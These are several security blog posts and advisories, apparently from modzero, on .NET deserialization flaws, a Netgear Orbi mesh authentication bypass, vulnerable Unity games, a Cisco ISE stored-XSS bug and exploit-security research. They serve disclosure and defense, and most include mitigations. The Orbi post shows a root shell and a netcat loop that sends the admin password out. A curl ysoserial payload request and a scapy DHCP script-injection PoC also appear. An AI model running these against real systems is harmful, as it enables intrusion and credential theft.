isolatedStorageFile.InitExistingStore(scope)) { this.m_Current = isolatedStorageFile; return true; } The InitStore method then passes the MemoryStream of the file contents into a BinaryFormatter without enabling any security features on it. internal bool InitStore(IsolatedStorageScope scope, Stream domain, Stream assem, Stream app, string domainName, string assemName, string appName) { BinaryFormatter binaryFormatter = new BinaryFormatter(); [...] this.m_AppIdentity = binaryFormatter.Deserialize(app); [...] this.m_AssemIdentity = binaryFormatter.Deserialize(assem); [...] this.m_DomainIdentity = binaryFormatter.Deserialize(domain); This allows execution of arbitrary code by utilizing standard BinaryFormatter deserialization gadgets; payloads can for example be generated using the ysoserial.net tool. This can be used for privilege escalation, especially since enumeration of isolated storage spaces is typically only performed during administrative tasks. When creating an IsolatedStorage space scoped to a user with a roaming profile, the modified identity.dat file may be automatically transferred across an Active Directory network. In this case the vulnerability may spread across the network if an enumeration of storage spaces is regularly performed. A transferred payload can infect another computers Machine scope which can in turn infect other users and their roaming scope. 4.2 Deserialization vulnerability in BinaryServerFormatterSink::ProcessMessage leading to Denial of Service (DoS) By sending a crafted message to a .Net remoting channel a denial of service or remote code execution can be triggered if the channel uses a BinaryServerFormatterSink in its SinkChain, which it does in the default configuation. Wether or not the DoS or RCE will trigger depends on what the BinaryServerFormatterSink's TypeFilterLevel has been set to. The default is Low, in which case only the Denial of Service can be triggered. If it has been set to Full instead, remote code execution can be performed. When using Remoting in .Net the incoming and outgoing messages are processed by SinkChains, which are essentially a linked list of sinks. These sinks are passed the current data, perform some processing and pass the updated data on to the next chain for further processing. One of these sinks is the BinaryServerFormatterSink which processes incoming messages which have been serialized to a binary format. When an incoming message is received, ProcessMessage is called on the BinaryServerFormatterSink instance, the requestStream that is passed to it contains the serialized message that the sink is ment to decode. If the TypeFilterLevel property of the BinaryFormatterSink has been set to Low it will restrict the security context to only grant the SerializationFormatter permission. If the TypeFilterLevel is set to Full, the security context won't be restricted. (https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=netframework-4.8) Afterwards it will call CoreChannel.DeserializeBinaryRequestMessage with the requestStream it has been called with. if (this.TypeFilterLevel != TypeFilterLevel.Full) { permissionSet = new PermissionSet(PermissionState.None); permissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter)); } try { if (permissionSet != null) { permissionSet.PermitOnly(); } requestMsg = CoreChannel.DeserializeBinaryRequestMessage(text5, requestStream, this._strictBinding, this.TypeFilterLevel); } finally { if (permissionSet != null) { CodeAccessPermission.RevertPermitOnly(); } } CoreChannel.DeserializeBinaryRequestMessage then initializes a BinaryFormatter and sets its FilterLevel according to the BinaryServerFormatterSink's. It then calls UnsafeDeserialize on the BinaryFormatter. internal static IMessage DeserializeBinaryRequestMessage(string objectUri, Stream inputStream, bool bStrictBinding, TypeFilterLevel securityLevel) { BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding); binaryFormatter.FilterLevel = securityLevel; CoreChannel.UriHeaderHandler @object = new CoreChannel.UriHeaderHandler(objectUri); return (IMessage)binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(@object.HeaderHandler)); } The UnsafeDeserialize call then gets passed down to a Deserialize call which instantiates an ObjectReader with the corresponding TypeFilterLevel. It then calls ObjectReader::Deserialize on the new ObjectReader instance. internal object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage) { [...] internalFE.FEsecurityLevel = this.m_securityLevel; ObjectReader objectReader = new ObjectReader(serializationStream, this.m_surrogates, this.m_context, internalFE, this.m_binder); objectReader.crossAppDomainArray = this.m_crossAppDomainArray; return objectReader.Deserialize(handler, new __BinaryParser(serializationStream, objectReader), fCheck, isCrossAppDomain, methodCallMessage); } ObjectReader::Deserialize then performs the deserialization. Additional security checks are performed if IsRemoting is true. internal void CheckSecurity(ParseRecord pr) { Type prdtType = pr.PRdtType; if (prdtType != null && this.IsRemoting) { [...] FormatterServices.CheckTypeSecurity(prdtType, this.formatterEnums.FEsecurityLevel); } } IsRemoting is true if either bMethodCall or bMethodReturn is true. private bool IsRemoting { get { return this.bMethodCall || this.bMethodReturn; } } These two values (bMethodCall and bMethodReturn) are only set to true by the SetMethodCall and SetMethodReturn methods respectively. internal void SetMethodCall(BinaryMethodCall binaryMethodCall) { this.bMethodCall = true; this.binaryMethodCall = binaryMethodCall; } internal void SetMethodReturn(BinaryMethodReturn binaryMethodReturn) { this.bMethodReturn = true; this.binaryMethodReturn = binaryMethodReturn; } Those two methods are only called from__BinaryParser::ReadMethodObject, which is only called from __BinaryParser::Run case BinaryHeaderEnum.MethodCall: case BinaryHeaderEnum.MethodReturn: this.ReadMethodObject(binaryHeaderEnum); Therefore additional security checks are only performed if an IMessage is being deserialized. An attacker can bypass the additional security checks by submitting a crafted stream of data that contains no IMessage object and triggers execution of deserialization gadgets. Using the standard TypeConfuseDelegate gadget, a call to System.Diagnostics.Process::Start(string,string) can be performed. In the case of TypeFilterLevel being set to Low (4.2.1) the call to Process.Start then causes an uncaught SecurityException, since the security context is restricted. The exception occurs in System.Diagnostics.ShellExecuteHelper::ShellExecuteFunction in a separate thread spawned by System.Diagnostics.ShellExecuteHelper::ShellExecuteOnSTAThread. The uncaught exception then causes termination of the process leading to Denial of Service. In the case of TypeFilterLevel being set to Full (4.2.2) the call to Process.Start passes all security checks and a new process is started. In this case arbitrary code can be executed remotely as long as the channel is accessible. Because there are no restrictions imposed on the deserialization, when using an HTTP channel 4.2.2 can also be exploited by generating a payload file with the ysoserial.net tool and a curl request of the form: curl -X POST -H "Content-Type: application/octet-stream" --data-binary "@payload" http://serveraddress/Service 4.3 Deserialization vulnerability in System.Messaging.Message::get_Body() using a BinaryMessageFormatter When using Microsoft Message Queueing (MSMQ) with .Net, messages retrieved from the Queue are processed into a Message object. This object contains an IMessageFormatter property and in the case of a retrieved messageit contains a BodyStream that holds the serialized body of the message. This BodyStream is not parsed immediately, but will instead be deserialized only when the Body's getter is accessed. The getter then calls Formatter.Read on its IMessageFormatter instance to create the actual Body object. public object Body { get { if (this.filter.Body) { if (this.cachedBodyObject == null) { [...] this.cachedBodyObject = this.Formatter.Read(this); } return this.cachedBodyObject; } If the IMessageFormatter is a BinaryMessageFormatter, its Read method checks if the BodyType is compatible and then calls BinaryFormatter::Deserialize on a default BinaryFormatter instance with no additional security features enabled. public BinaryMessageFormatter() { this.formatter = new BinaryFormatter(); } public object Read(Message message) { [...] int bodyType = message.BodyType; if (bodyType == 768) { Stream bodyStream = message.BodyStream; return this.formatter.Deserialize(bodyStream); This allows the use of arbitrary deserialization gadgets and can be used to execute arbitrary code when somebody retrieves messages from the message queue. ----------------------------------------------------------------------- 5. Proof of Concept exploits ----------------------------------------------------------------------- PoC exploits are provided as separate git repos containing Visual Studio Solutions. The IsolatedStorageVulnerability solution demonstrates vulnerability 4.1. After executing the PoC, any vulnerable program enumerating the Machine scope will execute a program when deserializing the payload. Running "storeadm /List" in the Visual Studio Developer Console for example will trigger the vulnerability. The RemotingVulnerability solution demonstrates vulnerabilities 4.2. It contains two projects: * RemotingService - a bare bones Remoting server * RemotingExploit - the actual exploit When the server is running and configured with TypeFilterLevel.Low the exploit will crash the server process. When the server is running and configured with TypeFilterLevel.Full the exploit will trigger code execution in the server process. The MSMQ solution demonstrates vulnerability 4.3. It contains two projects: * MSMQ Reader - a small program polling messages from an MSMQ * MSMQ Exploit - the actual exploit When the reader is running the exploit will cause code execution to occur as soon as the getter of the Body property of the Message is accessed. All projects use the TypeConfuseDelegate gadget with SortedSet`1 to reach code execution from the deserialization vulnerability. Please find the PoC projects at GitHub: * https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage * https://github.com/modzero/MZ-20-03_PoC_NetRemoting * https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter ----------------------------------------------------------------------- 6. Workarounds ----------------------------------------------------------------------- For 4.2, restricting access to the remoting channel will reduce the potential attack vectors. When using Tcp or Icp channels, enabling authentication can mitigate some risks as well. If possible setting TypeFilterLevel to Low will mitigate the RCE to a DoS but business cases might require using TypeFilterLevel.Full For 4.3, if possible, restrict access to any queue unless necessary. ----------------------------------------------------------------------- 7. Fix ----------------------------------------------------------------------- Currently, no fixes are available. ----------------------------------------------------------------------- 8. Credits ----------------------------------------------------------------------- * Nils Ole Timm ----------------------------------------------------------------------- 9. About modzero ----------------------------------------------------------------------- The independent Swiss-German company modzero assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. https://www.modzero.com contact@modzero.com modzero follows coordinated disclosure practices described here: https://www.modzero.com/static/modzero_Disclosure_Policy.pdf. This policy should have been sent to the vendor along with this security advisory. ----------------------------------------------------------------------- 10. Disclaimer ----------------------------------------------------------------------- The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
2020-05-18
How Netgear meshed(*) up WiFi for Business
(*) I'm really sorry for the pun line.
One day in December, I decided to actually build something. Something more or less useful. So, I paused breaking stuff (I really did) to create something that could help enhance the security-level of WiFi networks. I failed.
When I set out to build the thing I mentioned above, it also involved taking a closer look at our recently acquired Netgear Orbi Pro WiFi Mesh system.
And when I say take a closer look I mean: I had to figure out how to use public APIs that are not supposed to be public. In this particular case, the public API is a SOAP interface, available on the local network (not the Internet).
Public APIs that are not supposed to be public are defined by three attributes:
- they are public
- they are undocumented
- they are still public
However, accessing interesting parts of the APIs requires authentication against the SOAP Web application running on each Netgear Orbi Pro Mesh device. When I tried to figure out how Netgear implemented Machine-to-Machine (M2M) authentication between Router/Access Point and Mesh-Satellites, I accidentally the whole network-confidentiality and -integrity.
But first, let's have a short introduction to this Orbi Pro Mesh WiFi thing:The Netgear Orbi Pro WiFi Mesh network
The Netgear Orbi Pro Mesh WiFi system can provide a large coverage of WiFi signal over a large area within buildings, halls, and outdoors. Up to four separated 2.4GHz and 5GHz networks can be set up for different purposes:
- [Wireless 1] Main network with administrative access
- [Wireless 2] Employee network with limited access to admin interfaces
- [Wireless 3] Separate IoT/employee network
- [Guest] Unencrypted guest network with "Guest Portal"

This allows distribution of your WiFi network signal evenly across your property, building, hall and whatnot. This is fine. Really! Until you decide to spend less resources on security-architecture and cryptography.
So what went wrong...?
At some point, Netgear decided that provisioning of newly added Mesh-satellites does not need to be cryptographically secure. Convenience kills security; still in 2020 and even with one-time actions such as setting up a new mesh node.
The problem: Merge a new Mesh satellite into an existing WiFi setup. Already existing nodes shall accept and trust the newbie right away.
Netgear's solution: Ignore the benefits of presupposition of physical access to the devices that are part of the provisioning process, by pressing two buttons on router/AP and satellite. Instead, Netgear implemented a secret authentication mechanism, to authenticate mesh-nodes among themselves.
However, this secret authentication mechanism only involves publicly obtainable information which is: The MAC-addresses of each communication-peer. This means that you are only allowed to call the administrative SOAP API if you know the MAC address of your target satellite as well as your own MAC address:
If the MAC-address of your own computer within the WiFi network ends with A4:A5:A6 and the MAC address of the target satellite ends with B4:B5:B6, you can easily authenticate with username "orbi" and the ascii(MD5-Hash sum) of the string "NETGEAR_Orbi_A4_A5_A6_B4_B5_B6_password".
Impact
It's kind of a chain reaction. The ability to "guess" authentication parameters like username/password to access Netgear Orbi WiFi Mesh nodes with admin privileges via SOAP API, is something that can be exploited to gather sensitive information (cleartext passwords, etc.)
Using these "credentials", any (*) network participant is able to read and write configuration parameters for a particular Mesh-node.
(*) attacker must be on wired network or Orbi WiFi 1. However, if WiFi 2 is allowed to access network nodes in LAN (e.g. printers, etc. - which is likely in business setups), the attacker could also be on WiFi 2.
Reading and writing Netgear Orbi Pro Mesh parameters lead to Remote Code Execution (RCE) on the Mesh-satellites and subsequently to administrative access to the Router/Access Point and eventually the whole network.
As the curious reader might have noticed, all information that is needed to deduce the "password" is available to any user in the local network.
Exploitation
We have uploaded a video to YouTube for documentation:
The video shows the whole setup process of an AP-Mode setup using Mesh-nodes, up until its exploitation (see minute 10:40) using our scripts available at https://github.com/modzero/MZ-20-02-NETGEAR-Orbi-Security.
$ python3 orbiSatGetShell.py 10.11.42.243 asdfasdf
[0] 169.254.222.20 : dc:71:[REDACTED] (eth1)
[1] 192.168.56.1 : 0a:00:[REDACTED] (eth2)
[...]
[7] 10.11.42.149 : dc:71:[REDACTED] (wifi0)
[...]
[+] Select Interface: 7
[*] Query Orbi Satellite at 10.11.42.243 via local interface dc:71:[REDACTED]
[*] Device details for 10.11.42.243
[-] Device Name: sat-wkcdv
[-] Serial Number: 5836[REDACTED]
[-] Firmware Version: V2.5.0.108
[*] Administrative WLAN
[-] ssid: skynet
[-] mode: WPA2-PSK
[-] psk: i-1X[REDACTED]
[*] Guest WLAN
[-] ssid: darknet
[-] mode: WPA2-PSK
[-] psk: NewP[REDACTED]
[*] Enable telnet <0v0>
[e] Error getting session/timestamp from satellite: 401 (Unauthorized)!
[-] new session/timestamp: 569478051
[-] Success!
—————
R U N
C M D
—————
root@SRS60:/# id
id
uid=0(root) gid=0(root) groups=0(root)
Using these exploits, you can gain root access on any Orbi Mesh satellite. Of course, it can be tedious to pwn every single satellite one by one. Instead, let's just get the central Orbi AP/Router root password, which is conveniently available on each satellite:
- Change admin password of Netgear Orbi Mesh satellite.
- Enable telnet access on satellite.
- Login as root via telnet.
- Get original root/admin password of the whole Netgear Orbi WiFi Mesh network:
while [ 1 ]; do config show | grep http_passwd | nc
6666; sleep 5; done &
Why? Netgear decided to sync the AP/Router config to satellites periodically. In clear-text via HTTP. This means: Waiting for the original admin password to be synced from AP/Router to satellites is a matter of minutes.
Conclusion
There are quite a few bonus levels and easter eggs hidden in Netgear's WiFi Mesh implementation. We found some, and wrote them down in more detail here. I'm confident that this is only the tip of an iceberg. The current fix implemented by Netgear on April 25th actually prevents me from pwning the system within minutes, but it does not prevent an attacker from pwning it within days or weeks. By merely hiding a new or additional authentication method, Netgear did not fix the root of all evil: the basic stuff.
As of May, 18th 2020, Netgear did not implement well-established cryptographic methods to ensure the confidentiality, authenticity and integrity of their business/pro wireless network configuration.
!Shouts
If you participate in Netgear's bug bounty program, you are prohibited from publicly disclosing vulnerabilities. This is wrong and against the interest of Netgear's own customers.
I encourage you not to participate in their bug bounty program until this is fixed.
As you can see in the timeline of our advisory, Netgear does not care to give you any feedback about your disclosure. Instead, like in our case, they silently pushed updates without notifying us. Also, the vulnerabilities were not even mentioned in their firmware release notes for SRR60 or SRS60.
Needless to say, we were never mentioned, let alone thanked, either.
2020-04-17
Deserialization Attacks in .Net Games
Today many games are developed using .Net or a modified .Net Runtime like the Unity engine. This of course means that deserialization vulnerabilities in .Net can also occur in these games.
Serialization functionality seems to mainly be used to store save games. Less frequent uses include user generated content or network transfer of information.
We've discovered several such vulnerabilities in games using our own tooling and will elaborate on a few of them as well as common patterns and pitfalls as well as mitigations here.
It goes without saying that all of the vulnerabilities discussed below have already been fixed.
Tooling and Approach
To find potential deserialization vulnerabilities we used our own NetGadget tool, which we plan to release in the near future.
To interactively analyze vulnerabilities and debug potential exploits we used dnSpy which is an amazing .Net decompiler, analyzer and debugger.
As a test for the NetGadget tool we scanned a complete Steam Library for usage of BinaryFormatter, as a potential sink for a deserialization attack, as seen in Figure 1

Our tool scans any .dll or .exe file it encounters for a method call matching the pattern given by the -m parameter and stores the information about them in one file per dll or exe.
Since we are looking for vulnerabilities in games, the Assembly-CSharp.dll files, which are where Unity stores a game's custom code, are of particular interest and are highlighted below.

Each of the generated output files contains information about which functions were called and from where.
Of particular interest are of course calls to BinaryFormatter::Deserialize, since they are potential sinks for a deserialization attack.

When a game using BinaryFormatter is discovered, we need to check for deserialization gadgets within it.
Because Unity for instance only loads DLLs included in the games folders, it is necessary to verify which gadgets actually exist since not all known gadgets for that .Net version may be available.
Using NetGadget this process can be significantly sped up, since it can automatically scan for the existance of such gadgets.
Figure 4 for example shows a scan of the game Dragon Cliff. It uses BinaryFormatter insecurely, but the only potential gadget chain our tool reports is a false positive. This particular false positive generally shows up when .Net 2.0 is being used and gives a good indication that no gadget chains are available.

If you compare this to Figure 5, the scan of Tabletop Simulator, a lot more gadget candidates are shown, among them some well known gadget chains, like TempFileCollection or TypeConfuseDelegate1.

Once a potential entry point and the existence of deserialization gadgets have been confirmed, as a next step the potential entry points and their call trees need to be evaluated manually with dnSpy or a similiar tool.
This approach has proved efficient in quickly reducing the number of games potentially vulnerable to .Net deserialization attacks. The scanned steam library contained around 400 games (not all of them made in .Net). Eventually around 30 vulnerable games were identified of which 14 were exploitable.
Deserialization Attacks in Totally Accurate Battle Simulator
We will refrain from using screenshots of code that isn't ours. For this reason the following explanations of the details of certain vulnerabilities will discuss the control flow and function names, but not the details of the code in question.
Where is serialization used
Totally Accurate Battle Simulator by Landfall Games is a sandbox game that simulates battles with ragdoll physics.
BinaryFormatter is used to let Players build custom battles and campaigns and to share them over the Steam Workshop
NetGadget flagged the following methods as using the call to BinaryFormatter::Deserialize
This leads to two distinct vulnerabilities. One involves the loading of save games and affects the last two functions, the other involves the loading of custom campaigns and battles and affects the first three.
Save Game Vulnerability
This vulnerability is short and sweet.
Since OnRemoteStorageFileReadAsyncComplete will eventually also call ReadLocal, it's enough to investigate what is required to exploit ReadLocal.
ReadLocal simply reads all bytes of the save file and deserializes them with BinaryFormatter. Thus it's enough to overwrite the save file to trigger a deserialization vulnerability.
After replacing the save game with a TypeConfuseDelegate payload and starting the game, we see Figure 6 - Success!

Workshop Vulnerability
This vulnerability is a little more involved, but can be used remotely through the Steam Workshop. Due to the nature of the workshop this vulnerability was only tested locally to prevent the accidental spread of the exploit.
The loading of a faction, campaign or layout from disk will deserialize the associated data. All of those functions are internally called either when a mod is already installed and is being loaded or through a custom content loader's LoadLocalCustomContent method.
Depending on the type of the content, it will invoke either of the vulnerable functions. The LoadLocalCustomContent itself is only called by the content loader's QuickRefresh method.
The QuickRefresh method is called from a lot of different sections in code, most interestingly by OnDownloadSuccess and OnSubSuccess as well as the onModBinaryInstalled callback.
This means that after a mod has been downloaded it will immediately be deserialized, allowing an attacker to trigger the vulnerability by uploading a mod to the Steam Workshop
Deserialization Attacks in Tabletop Simulator
We will refrain from using screenshots of code that isn't ours. For this reason the following explanations of the details of certain vulnerabilities will discuss the control flow and function names, but not the details of the code in question.
Where is Serialization Used
Tabletop Simulator by Berserk Games is a multiplayer physics sandbox that allows players to create and play tabletop games remotely.
In order to facilitate the exchange of games and the storing of table states the game employs two different methods of serialization: Newtonsofts' JsonSerializer and BinaryFormatter. The vulnerabilities we've found lie in the parts of the code that use BinaryFormatter.
BinaryFormatter is used to load what the code refers to as a PhysicsState.
The deserialization of such a physics state can either be triggered over the network through the LoadPromotedPhysicsState RPC call or through the loading of a mod that isn't in JSON format.
The RPC Vulnerability
Tabletop Simulator has an RPC mechanism that is, among other things, used to administrate a game host remotely.
One of these administrative functions is LoadPromotedPhysicsState.
It gets passed an array of bytes which are then used to call GetPhysicsState, which in turn calls BinaryFormatter::Deserialize with the data.
To call this function two criteria need to be met.
Requiring administrative privileges on a server to exploit the host seems restrictive at first.
A server's host can however migrate the hosting of the game to another client on the server. This causes two main changes in user roles in the game.
This allows a deserialization attack to be performed which can execute arbitrary code remotely.
The following video demonstrates this attack from the victims perspective.
The Mod Vulnerability
In Tabletop Simulator users can upload their table setups and scripts into the Steam Workshop to share them with the community. These mods can be subscribed to and downloaded to use by any player. When a mod has finished downloading it will eventually be deserialized.
When the download from the Steam Workshop has completed the CallResultWorkshopReadDownload callback method will be invoked.
This method in turn calls SerializationScript::Save which attempts to load the file contents with the GetPhysicsState method first and the JSON Serializer second.
GetPhysicsState then invokes BinaryFormatter::Deserialize.
A malicious attacker is able to upload a mod that will execute arbitrary code when deserialized, potentially allowing it to spread through the Steam Workshop.
Mitigations
In its default configuration BinaryFormatter in .Net is insecure. Several well known gadget chains exist that can be easily used to gain arbitrary code execution.
BinaryFormatter does however allow the definition of a Binder class which handles the resolution of types used in the Serialization and Deserialization processes.
Using such a Binder, whitelisting of expected types can be facilitated with relative ease, providing resilience against deserialization gadgets. This method was used to fix all of the vulnerabilities mentioned above. Following is an example Binder that allows the restriction of deserialized types to those required to deserialize the generic type T. It is provided under the GNU All-permissive license.
/*Copyright 2020, Nils Ole Timm - modzero
Copying and distribution of this file, with or without modification,
are permitted in any medium without royalty,
provided the copyright notice and this notice are preserved.
This file is offered as-is, without any warranty.*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Collections;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters;
namespace StronglyTypedSerializationBinder
{
//A binder can control which types are used in deserialization
//This binder only allows the deserialization of objects of the expected type
//and its member fields
public class StronglyTypedBinder<T> : SerializationBinder
{
//This function is called when the deserialization needs to find the runtime type
//associated with the stored type of the serialized data
public override Type BindToType(string assemblyName, string typeName)
{
Type type;
//Compute the allowed types for this deserialization binder if they haven't already
//been computed
if (allowedTypes.Count == 0)
{
ComputeAllowedTypes();
}
if (allowedTypes.TryGetValue(typeName, out type))
return type;
//If the type isn't found return typeof(object) to cause harmless default behaviour
return typeof(object);
}
//Calculate which types should be allowed for type T
private void ComputeAllowedTypes()
{
Type baseType = typeof(T);
//Add base type and types of fields and their fields recursively up to maximum depth
AddAllowedTypesRecursive(baseType, 0);
}
//Recursively add types of fields to list
private void AddAllowedTypesRecursive(Type t, int depth)
{
//Stop when maximum depth of recursion is reached
if (depth > MAX_RECURSIONS)
return;
//Add base type if not already added
if (!allowedTypes.ContainsKey(t.FullName))
allowedTypes.Add(t.FullName, t);
//If type is primitive no need to recurse further
if (t.IsPrimitive)
return;
//If type is generic, handle fields and generic parameters and do special handling of Dictionary
else if (t.IsGenericType)
{
Type[] genericArguments = t.GetGenericArguments();
foreach (Type t2 in genericArguments)
AddAllowedTypesRecursive(t2, depth + 1);
foreach (FieldInfo fi in t.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic))
{
AddAllowedTypesRecursive(fi.FieldType, depth + 1);
}
if(t.GetGenericTypeDefinition() == typeof(Dictionary<,>))
{
AddAllowedTypesRecursive(Type.GetType("System.Collections.Generic.GenericEqualityComparer`1").MakeGenericType(t.GetGenericArguments()[0]), MAX_RECURSIONS);
AddAllowedTypesRecursive(typeof(KeyValuePair<,>).MakeGenericType(genericArguments), MAX_RECURSIONS);
}
}
//If type is an array add the type of the element
else if (t.IsArray)
{
AddAllowedTypesRecursive(t.GetElementType(), depth + 1);
}
//In all other cases add the types of all fields
else foreach (FieldInfo fi in t.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic))
{
AddAllowedTypesRecursive(fi.FieldType, depth + 1);
}
}
static Dictionary<string, Type> allowedTypes = new Dictionary<string, Type>();
const int MAX_RECURSIONS = 4;
}
}
2020-02-19
More security brings more insecurity
modzero found a vulnerability in the Cisco Identity Services Engine (ISE) environment, which allows arbitrary participients of a network to inject arbitrary JavaScript payload right into the administrative webpage of the Cisco ISE administration interface.
CISCO ISE is considered to enhance the overall network security, by limiting access to local area networks. Arbitrary users using DHCP as a yet anonymous participent are able to exploit weaknesses in Cisco's administrative interfaces and thus by-pass the increased security level:The hostname and the vendor_class_id options of any DHCP request can be abused to inject malicious payload to execute code in the context of the browser of the administator, connecting to the Web interface. Further details and a PoC are available in our advisory.
Direct Link: https://www.modzero.com/advisories/MZ-19-03-CISCO-ISE.txt
----------------------------------------------------[MZ-19-03]----v1.2-- modzero Security Advisory: Unauthenticated persistent cross-site scripting injection into the administrative console of CISCO ISE web application via DHCP request ------------------------------------------------------------------------ ------------------------------------------------------------------------ 1. Timeline ------------------------------------------------------------------------ * 2019-11-22: Advisory sent to Cisco PSIRT psirt@cisco.com * 2019-11-22: PSIRT opened case (PSIRT-0535851956) * 2019-11-22: PSIRT communicated tentative publishing date '2020-02-19' * 2020-02-12: PSIRT incident manager confirmed reproduceability * 2020-02-12: Received an unofficial CVE Number CVE-2020-3156 * 2020-02-19: modzero released advisory to the public In accordance with modzero's disclosure policy, the advisory is expected to be published not later than February 21st, 2020. Our disclosure policy is available at: https://www.modzero.ch/static/modzero_Disclosure_Policy.pdf ------------------------------------------------------------------------ 2. About ------------------------------------------------------------------------ Affected vendor: Cisco Latest known to be vulnerable version products: * Cisco Identity Services Engine version 2.6.0.156, Patch 2,3 - Product Identifier: SNS-3655-K9 - Version Identifier A0 - ADE-OS Version 3.0.5.144 The Cisco Identity Services Engine is the engine behind Cisco's Network Access Control solution. It enables the creation and enforcement of security and access policies for endpoint devices connected to the company's routers and switches. ------------------------------------------------------------------------ 3. Details ------------------------------------------------------------------------ An unauthenticated attacker who is able to inject a specially crafted DHCP request packet into the network controlled by Cisco Identify Service Engine (ISE), is able to persistently store code (e. g. JavaScript), which is executed in the context of the Web-browser accessing the Web-based management interface. The vulnerability is due to insufficient validation and encoding of the attacker-controllable input within the hostname and vendor class identifier field of processed DHCP request packets. The attacker-controlled code will be executed in the context of the user of the Web-based management console. If a legitimate user is reviewing an Endpoint's attributes within the Identity Services Engine's Web- based-management-interface. The attacker-controlled code will be executed in the context of the user that is currently logged in to the Web-based management console, when the endpoint attribute details are reviewed by opening the following URL: https://ISESRV/admin/login.jsp#context_dir/context_dir_devices/endpointDetails ------------------------------------------------------------------------ 4. Impact ------------------------------------------------------------------------ The code will be executed with the rights of the user accessing the Web- based management console. If the user has administrative rights, the attacker might be able to leverage arbitrary functions of the Web-based management interface. ------------------------------------------------------------------------ 5. Proof of Concept exploit ------------------------------------------------------------------------ Using the following python script, two simple JavaScript code fragments will be sent in the hostname and vendor class identifier fields of the DHCP request. #!/usr/bin/env python from scapy.all import * import scapy conf.iface = "eth0" hostname_payload = "<script>alert('hostname payload')</script>" vendor_class_id_payload = "<script>alert('v class id payload')</script>" _, hw = get_if_raw_hwaddr(conf.iface) ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=hw, type=0x800) ip = IP(src ='0.0.0.0', dst='255.255.255.255') udp = UDP (sport=68, dport=67) bootp = BOOTP(op=1, chaddr=hw) dhcp = DHCP(options=[("message-type","request"), \ ("hostname",hostname_payload),("vendor_class_id", \ vendor_class_id_payload),('end')]) packet = ethernet / ip / udp / bootp / dhcp sendp(packet, iface=conf.iface) Once a person reviews the attributes of an endpoint within the ISE web- based management interface the code will be executed. ------------------------------------------------------------------------ 6. Workaround ------------------------------------------------------------------------ - ------------------------------------------------------------------------ 7. Fix ------------------------------------------------------------------------ No software updates are available yet. ------------------------------------------------------------------------ 8. Credits ------------------------------------------------------------------------ * Max Moser * Katharina Maennle ------------------------------------------------------------------------ 9. About modzero ------------------------------------------------------------------------ The independent company modzero assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. Website: https://www.modzero.ch E-Mail: contact@modzero.ch ------------------------------------------------------------------------ 10. Disclaimer ------------------------------------------------------------------------ The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
2019-10-04
Exploit Wars II - The server strikes back
When working in security we usually worry about the security of our customers and the potential vulnerabilities in their software or their configurations.
But what about the attackers? Hardly anybody seems to worry about them, and even they themselves are usually mostly concerned with OPSEC if anything at all.
Given that inherent imbalance it seemed only fair to look at the security of exploits for once, rather than always servers or services.
Finding an Exploit to Exploit
There are some prerequisits for an exploit to be exploitable in an impactful way.
- It should be readily available. Otherwise any potential exploit is very unlikely to work on any kind of scale.
- It should be a remote exploit. Otherwise it wouldn't really run on the attackers (or is it victim now?) system.
- Ideally it uses a
system()
function call. This is a good target for making command injection work. - It needs to act differently depending on a server response. Otherwise we have no way to influence the exploit we want to exploit.
The first three points can be easily handled.
- Availability - Everything that is in ExploitDB is widely available
- Remote Exploit - grep for "remote"
- Using system() - grep for "system(.*)"
For the last point things are a bit more tricky and require manual inspection eventually. Which isn't too bad,
since ultimately, even if it uses user input(/victim input), we'd still have to manually check if it's exploitable.
Luckily for us Kali Linux comes preinstalled with exploitdb, so searching through the files is easy.
After a bit of manual inspection we find a candidate.
The Victim Exploit
The exploit is for Mozilla Bugzilla up to and including 2.10.
In the process of exploitation it fetches a product name from the server using lynx and a call to system()
.
The call to system()
is a good indicator for potential exploitation. You can see the relevant part of the exploit below.
The line has been cut off a bit on the right, but it just passes more parameters and pipes the output into a file.
After fetching the information, it processes it to extract the product name. Essentially it extracts everything after "product=" up until the first double quote.
With the extracted product name it sends another request to the server to get additional information.
In that request it uses the product name that was previously extracted from the servers' reply.
The line is again cut off on the right. Simply because it's too long. The only important thing to know about the missing part is that the output is piped into a file named enter_bug.cgi
This call to system()
uses the $page
variable, which is constructed from the product name in $product
amongst other things.
So there's a way to influence the call to system()
with what is returned to the first request: arbitrary data from an untrusted source, namely the exploitee.
The only TINY problem is that the product name is encoded using the antiIDS()
function.
The Little Big Problem of Getting Through the Anti IDS Encoder
Let's take a look at antiIDS()
, which is built to circumvent Intrusion Detection Systems by avoiding certain characters.
Well, that's easy. Just write a command injection that doesn't use any of the following characters:
Numbers
Letters
Any quotation marks
Spaces
.-|<>\
Okay, so maybe we should see if we can find another vulnerable exploit.
